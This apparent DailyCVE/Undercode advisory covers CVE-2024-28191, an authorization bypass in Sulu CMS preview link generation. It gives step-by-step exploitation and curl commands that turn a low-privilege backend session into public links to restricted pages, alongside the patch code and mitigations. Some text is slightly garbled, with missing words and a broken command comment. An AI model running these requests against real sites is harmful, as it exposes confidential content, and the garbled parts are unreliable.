Sulu CMS, Authorization Bypass, CVE-2024-28191 (High) -DC-Sep2026-2105

Listen to this Post

The vulnerability stems from a missing authorization enforcement within Sulu’s preview link generation mechanism. Sulu, a Symfony‑based CMS, provides a `PreviewLinkController` that exposes endpoints for backend users to create public, unauthenticated preview URLs for content entities—such as pages, s, and snippets. The underlying business logic resides in `PreviewLinkManager::generate()` and PreviewLinkManager::revoke(). In affected versions, these methods operate solely on the target resource’s identifier without ever resolving or validating the security context of that resource. Specifically, they do not call the `SecurityCheckerInterface` to verify whether the currently authenticated administration user holds the `VIEW` permission for the webspace, area, or specific content item they are attempting to preview.
Because no permission check is performed, any user who can log into the Sulu backend—regardless of their assigned roles or webspace restrictions—can invoke the `generate` action with a known resource ID (e.g., a page UUID). The controller accepts this request, creates an opaque token (derived from substr(md5(uuid), 0, 12), yielding roughly 48 bits of entropy), and returns a public render URL. This URL is fully unauthenticated; the only requirement to view the content is possession of that token. Thus, the attacker not only gains access to content they are forbidden to see but can also distribute the link to external third parties, enabling unauthorised reading of restricted data without any further authentication or session.
This flaw directly bypasses Sulu’s fine‑grained role and webspace permission model. It affects all installations that rely on these permissions to segregate content visibility among different editorial teams or user groups. The exploitation vector is relatively straightforward: an attacker needs valid backend credentials and the numeric or UUID identifier of the target page/. No special privileges, such as administrator or super‑admin, are required—any authenticated back‑end user suffices. The issue was independently reported and subsequently patched by the Sulu maintainers. The fix introduces a mandatory `VIEW` permission check inside both `generate()` and `revoke()` by leveraging the resource’s security context via SecurityCheckerInterface. If the user lacks `VIEW` rights, the endpoint returns a HTTP 403 Forbidden response and no link is generated or revoked. The patches are backported to the 2.6.x and 3.0.x release branches. The original advisory also noted two secondary hardening concerns—the low token entropy (48 bits) and the lack of link expiration—but these are tracked separately as they would require a schema migration, and they do not diminish the severity of the primary authorization bypass.

DailyCVE Form:

Platform: Sulu CMS
Version: 2.0.0-2.5.9
Vulnerability: Missing Authorization Check
Severity: High
date: 2024-03-12

Prediction: Patched in 2.6.x

What Undercode Say:

Simulate a vulnerable request to generate a preview link (requires valid admin session cookie)
curl -X POST 'https://sulu.example.com/admin/api/preview-links/generate' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=your_admin_session' \
-d '{"resourceType":"pages","resourceId":"a1b2c3d4-e5f6-7890-abcd-ef1234567890"}'
Expected vulnerable response (200 OK with token)
{"token":"abc123def456","url":"https://sulu.example.com/preview/abc123def456"}
Check token entropy (48 bits) – the fixed version enforces a VIEW check first
php -r "echo substr(md5('a1b2c3d4-e5f6-7890-abcd-ef1234567890'), 0, 12);"
To verify the patch is active, attempt the same call – should return 403 Forbidden
curl -X POST 'https://sulu.example.com/admin/api/preview-links/generate' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=your_admin_session' \
-d '{"resourceType":"pages","resourceId":"a1b2c3d4-e5f6-7890-abcd-ef1234567890"}'
Fixed response: HTTP/1.1 403 Forbidden
// Code snippet showing the vulnerable logic (simplified) vs. the fixed logic
// Vulnerable (no check):
public function generate($resourceType, $resourceId) {
$token = substr(md5($resourceId), 0, 12);
$this->repository->save($token, $resourceType, $resourceId);
return $token;
}
// Fixed (with permission check):
public function generate($resourceType, $resourceId) {
$resource = $this->resourceResolver->resolve($resourceType, $resourceId);
$this->securityChecker->checkPermission($resource, 'VIEW'); // throws 403 if denied
$token = substr(md5($resourceId), 0, 12);
$this->repository->save($token, $resourceType, $resourceId);
return $token;
}

Exploit: (Educational Purposes!)

  1. Authenticate to the Sulu backend as any valid administration user (even with minimal privileges).
  2. Discover or guess the target content’s resource identifier (e.g., page UUID, ID). These may be exposed in sitemaps, API responses, or HTML comments.
  3. Send a POST request to `/admin/api/preview-links/generate` with the `resourceType` and `resourceId` (e.g., {"resourceType":"pages","resourceId":"<UUID>"}).
  4. If vulnerable, the server returns a `token` and the full preview URL: https://sulu.example.com/preview/<token>.
  5. Open this URL in a private browser window or share it with an external user—the content renders without any login, completely bypassing the intended permission boundaries.
    Full exploit chain example
    curl -X POST 'https://sulu.example.com/admin/api/preview-links/generate' \
    -H 'Content-Type: application/json' \
    -H 'Cookie: PHPSESSID=attacker_session' \
    -d '{"resourceType":"pages","resourceId":"confidential-page-uuid"}' \
    | jq -r '.url' | xargs curl -s directly access the preview
    

Protection: from this CVE

  • Immediately upgrade Sulu to version `2.6.x` (2.6.0 or later) or `3.0.x` (3.0.0 or later) where the `VIEW` permission check has been backported.
  • If an upgrade is not feasible, manually patch the `PreviewLinkManager::generate()` and `revoke()` methods by injecting `SecurityCheckerInterface` and adding a `checkPermission($resource, ‘VIEW’)` call before any token operations. The resource’s security context must be resolved via the appropriate resolver (e.g., ResourceResolver).
  • As a temporary workaround, restrict access to the `/admin` interface to only trusted IP addresses or use a firewall rule to limit who can reach the administration endpoints.
  • Monitor audit logs for unusual `preview-links/generate` requests from low‑privileged accounts.
  • Consider implementing additional defence‑in‑depth: reduce the token’s lifetime manually (if possible) and enforce re‑authentication for sensitive content previews.

Impact:

  • Successful exploitation allows any authenticated back‑end user to generate public, permanent preview links for arbitrary content (pages, s, snippets) across all webspaces and areas, regardless of their assigned VIEW rights.
  • The attacker can exfiltrate restricted business data, personally identifiable information, or unpublished drafts by simply sharing the generated link with external parties—no further authentication is required.
  • This directly undermines the role‑based access control and webspace isolation that Sulu administrators rely on for content governance, leading to a complete bypass of the intended permission model.
  • The low token entropy (48 bits) marginally increases the risk of brute‑force token guessing, though the primary impact remains the authorization bypass itself.
  • Organizations using Sulu for multi‑tenant or multi‑client editorial workflows face heightened reputational and compliance risks (e.g., GDPR breaches) if sensitive content is exposed.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top